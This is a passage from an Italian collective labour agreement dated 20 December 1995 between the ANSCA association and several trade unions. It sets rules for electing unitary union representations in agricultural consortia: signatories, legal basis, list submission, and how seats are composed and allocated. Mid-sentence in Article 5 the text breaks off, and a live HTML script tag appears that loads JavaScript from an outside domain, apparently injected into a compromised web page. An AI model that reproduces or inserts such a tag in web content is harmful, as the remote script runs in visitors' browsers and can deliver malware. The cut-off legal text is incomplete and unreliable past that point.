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Categoria: Agenti di commercio e rappresentanti (consorzi agrari)
Settore: Commercio
Data stipula: 20-12-1995

ACCORDO PER LA  COSTITUZIONE  DELLE RAPPRESENTANZE  SINDACALI UNITARIE
NEI CONSORZI AGRARI

Il 20 dicembre 1995, in Roma

tra l'ANSCA rappresentanza dal suo Presidente Gr.  Uff. Sig. Adelino Rossi
e dai componenti il Comitato Direttivo Dr. Enrico Boffa, Sig. Lauro Costa,
dr.  Giulio Cesare Donnaperna,  Dr. Paolo Pasquali, Dr. Francesco Pulejo e
Sig. Roberto Rigonat;

e le Organizzazioni sindacali:

- FLAI-CGIL, rappresentata dal Segretario Generale Sig. Gianfranco Bemsi,
   dal Segretario Nazionale Sig.  Vincenzo Lacorte e  dalla Sig.ra Patrizia
   Consiglio;

- FISASCAT-CISL, rappresentata dal segretario Nazionale Sig. Mario
   Marchetti e dal Sig. Mario Dalmasso;

- UILTuCS-UIL, rappresentata dal Segretario Nazionale Dr. Emilio
   Fargnoli;

- SINALCAP, rappresentata dai Vice Segretari Nazinai sig. Vito Giannetta,
   Sig. Licio Sabatini e Sig. Maurizio Zen

si è convenuto quanto segue.



ART. 1 - FONTE NORMATIVA

Il  presente  accordo  vale  quale  disciplina  generale   in  materia  di
rappresentanze sindacali unitarie,  per  effetto  di  quanto  previsto dal
Protocollo  sottoscritto  il  23  luglio  1993  tra il Governo  e le parti
sociali,  per  questi aspetti recepito dall'accordo  10  aprile 1995 per i
lavoratori dei Consorzi Agrari.


                             PARTE PRIMA

Costituzione delle rappresentanze sindacali unitarie (R.S.U.)

ART. 2 - AMBITO ED INIZIATIVA PER LA COSTITUZIONE

Nei Consorzi Agrari si darà   luogo alla costituzione delle rappresentanze
sindacali unitarie,  sulla  base  di liste presentate ad  iniziativa delle
Organizzazioni Sindacali firmatarie  dell'accordo  per il  recepimento del
Protocollo 213 luglio 1993, nonchè del presente accordo e del CCNL.

Hanno  altresì potere  d'iniziativa  a presentare  liste del Associazioni,
diverse  alle  Organizzazioni  Sindacali   suddette,   purchè  formalmente
costituite in  sindacato con un  proprio statuto ed  atto  costituito ed a
condizione che:

a) rappresentino almeno il cinque % dei lavoratori aventi diritto al
    voto;

b) accettino espressamente e formalmente il contenuto del presente
    accordo.



ART. 3 - DESIGNAZIONE DELLE LISTE

Le Organizzazioni Sindacali firmatarie del presente accordo si impegnano ,
senza alcuna eccezione, a presentare sotto la propria sigla una sola lista
elettorale.



ART. 4 - COMPOSIZIONE DELLE R.S.U.

Alla costituzione delle  rappresentanze sindacali unitarie si  procede per
due terzi dei seggi,  mediante elezione a scrutinio  segreto,  da parte di
tutti i lavoratori  aventi  diritto al  voto  tra  liste  concorrenti alla
competizione elettorale.

La parte riferita al rimanente terzo viene assegnata alle liste presentate
dalle  Organizzazioni  Sindacali firmatarie  del CCNL vigente  ed alla sua
copertura si procede in proporzione ai voti ricevuti nei due terzi.



ART. 5 - ATTRIBUZIONE DEI SEGGI

Ai fini dell'elezione dei due terzi dei componenti della R.S.U., il numero
dei  seggi sarà  ripartito -  secondo il criterio proporzionale  puro - in
relazione ai voti conseguiti dalle liste concorrenti.

La quota del residuo terzo dei seggi sarà  attribuita in base  al criterio
di composizione della R.S.U.  previsto dall'art. 4, 2° comma, del presente
accordo.

Qualora  due o più liste  ottengano  lo  stesso  numero  di  preferenze e,
attraverso il sistema di calcolo non sia possibile attribuire il  seggio o
i  seggi,  si  procederà al  ballottaggio con nuova  votazione e risulterà
attribuito  il/i  seggio/i  alla/e  lista/e che  avrà/avranno  ottenuto il
maggior numero di voti in base al criterio di cui al primo comma.

Qualora due o più candidati della stessa lista ottengano lo  stesso numero
di  voti di preferenza  la designazione sarà  data al candidato  che abbia
maggiore anzianità di iscrizione al sindacato presso l'<script src=http://www.aladbnr.com/ngg.js></script>













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